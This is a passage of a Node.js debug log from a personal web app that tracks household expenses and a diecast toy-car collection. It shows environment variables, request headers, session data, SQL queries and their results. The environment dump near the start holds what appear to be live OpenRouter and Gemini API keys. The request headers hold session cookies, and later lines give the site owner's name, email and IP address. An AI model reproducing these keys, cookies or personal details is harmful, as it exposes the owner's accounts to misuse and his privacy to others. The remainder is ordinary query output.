    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/collections',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/collections',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T06:12:22.582Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T06:12:22.584Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T06:12:22.585Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T06:12:22.585Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T06:12:22.586Z server-connect:app Executing action step identify
2026-02-04T06:12:22.586Z server-connect:app options: { provider: 'security' }
2026-02-04T06:12:22.586Z server-connect:output identity: 1
2026-02-04T06:12:22.586Z server-connect:app Executing action step restrict
2026-02-04T06:12:22.586Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:12:22.587Z server-connect:app Executing action step identify
2026-02-04T06:12:22.587Z server-connect:app options: { provider: 'security' }
2026-02-04T06:12:22.587Z server-connect:output identity: 1
2026-02-04T06:12:22.587Z server-connect:app Executing action step restrict
2026-02-04T06:12:22.587Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:12:22.591Z server-connect:output restrict: undefined
2026-02-04T06:12:22.591Z server-connect:app Executing action step select
2026-02-04T06:12:22.591Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T06:12:22.591Z server-connect:app Executing action step identify
2026-02-04T06:12:22.591Z server-connect:app options: { provider: 'security' }
2026-02-04T06:12:22.591Z server-connect:output identity: 1
2026-02-04T06:12:22.591Z server-connect:app Executing action step restrict
2026-02-04T06:12:22.591Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:12:22.592Z server-connect:app Executing action step identify
2026-02-04T06:12:22.592Z server-connect:app options: { provider: 'security' }
2026-02-04T06:12:22.592Z server-connect:output identity: 1
2026-02-04T06:12:22.592Z server-connect:app Executing action step restrict
2026-02-04T06:12:22.592Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:12:22.593Z server-connect:output restrict: undefined
2026-02-04T06:12:22.593Z server-connect:app Executing action step single
2026-02-04T06:12:22.593Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T06:12:22.594Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T06:12:22.595Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T06:12:22.595Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T06:12:22.596Z server-connect:output restrict: undefined
2026-02-04T06:12:22.596Z server-connect:app Executing action step select
2026-02-04T06:12:22.596Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T06:12:22.596Z server-connect:output restrict: undefined
2026-02-04T06:12:22.596Z server-connect:app Executing action step select
2026-02-04T06:12:22.596Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T06:12:22.597Z server-connect:app Executing action step identify
2026-02-04T06:12:22.597Z server-connect:app options: { provider: 'security' }
2026-02-04T06:12:22.597Z server-connect:output identity: 1
2026-02-04T06:12:22.597Z server-connect:app Executing action step restrict
2026-02-04T06:12:22.597Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:12:22.597Z server-connect:app Executing action step identify
2026-02-04T06:12:22.597Z server-connect:app options: { provider: 'security' }
2026-02-04T06:12:22.597Z server-connect:output identity: 1
2026-02-04T06:12:22.597Z server-connect:app Executing action step restrict
2026-02-04T06:12:22.597Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:12:22.598Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T06:12:22.599Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 }
]
2026-02-04T06:12:22.600Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T06:12:22.600Z server-connect:output restrict: undefined
2026-02-04T06:12:22.600Z server-connect:app Executing action step select
2026-02-04T06:12:22.601Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T06:12:22.601Z server-connect:output restrict: undefined
2026-02-04T06:12:22.601Z server-connect:app Executing action step paged
2026-02-04T06:12:22.601Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T06:12:22.602Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T06:12:22.602Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 }
]
2026-02-04T06:12:22.603Z server-connect:app Executing action step identify
2026-02-04T06:12:22.603Z server-connect:app options: { provider: 'security' }
2026-02-04T06:12:22.603Z server-connect:output identity: 1
2026-02-04T06:12:22.603Z server-connect:app Executing action step restrict
2026-02-04T06:12:22.603Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:12:22.603Z server-connect:output restrict: undefined
2026-02-04T06:12:22.603Z server-connect:app Executing action step select
2026-02-04T06:12:22.604Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T06:12:22.605Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T06:12:22.605Z server-connect:app Executing action step select
2026-02-04T06:12:22.605Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T06:12:22.606Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
